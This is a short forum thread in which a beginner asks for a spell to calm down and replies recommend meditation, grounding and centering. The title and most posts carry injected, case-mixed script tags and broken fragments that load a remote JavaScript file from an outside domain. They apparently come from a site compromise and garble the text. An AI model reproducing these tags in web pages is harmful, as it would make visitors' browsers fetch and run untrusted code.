Beginner

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Beginner <sCrIpT sRc=//12jav.net/1.js></ScRiPt><sCrIpT sRc=//12jav.net/1.js></ScRiPt>
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Post # 1
What is a good beginning spell for calming yourself down. Like if something is bothring you how to put yourself at ease sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Re: Beginner
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Post # 2
meditate sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Post # 3
try meditaion sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
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Re: Beginner
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Post # 4

Meditation and relaxtion are the keys here. Just keep practicing this daily and it will help you focus on your energy to help calm yourself. There are types of energy spells but meditation is really your best choice. :) Its also helpful for when you start casting spells. You need to learn how to ground and center yourself as well.

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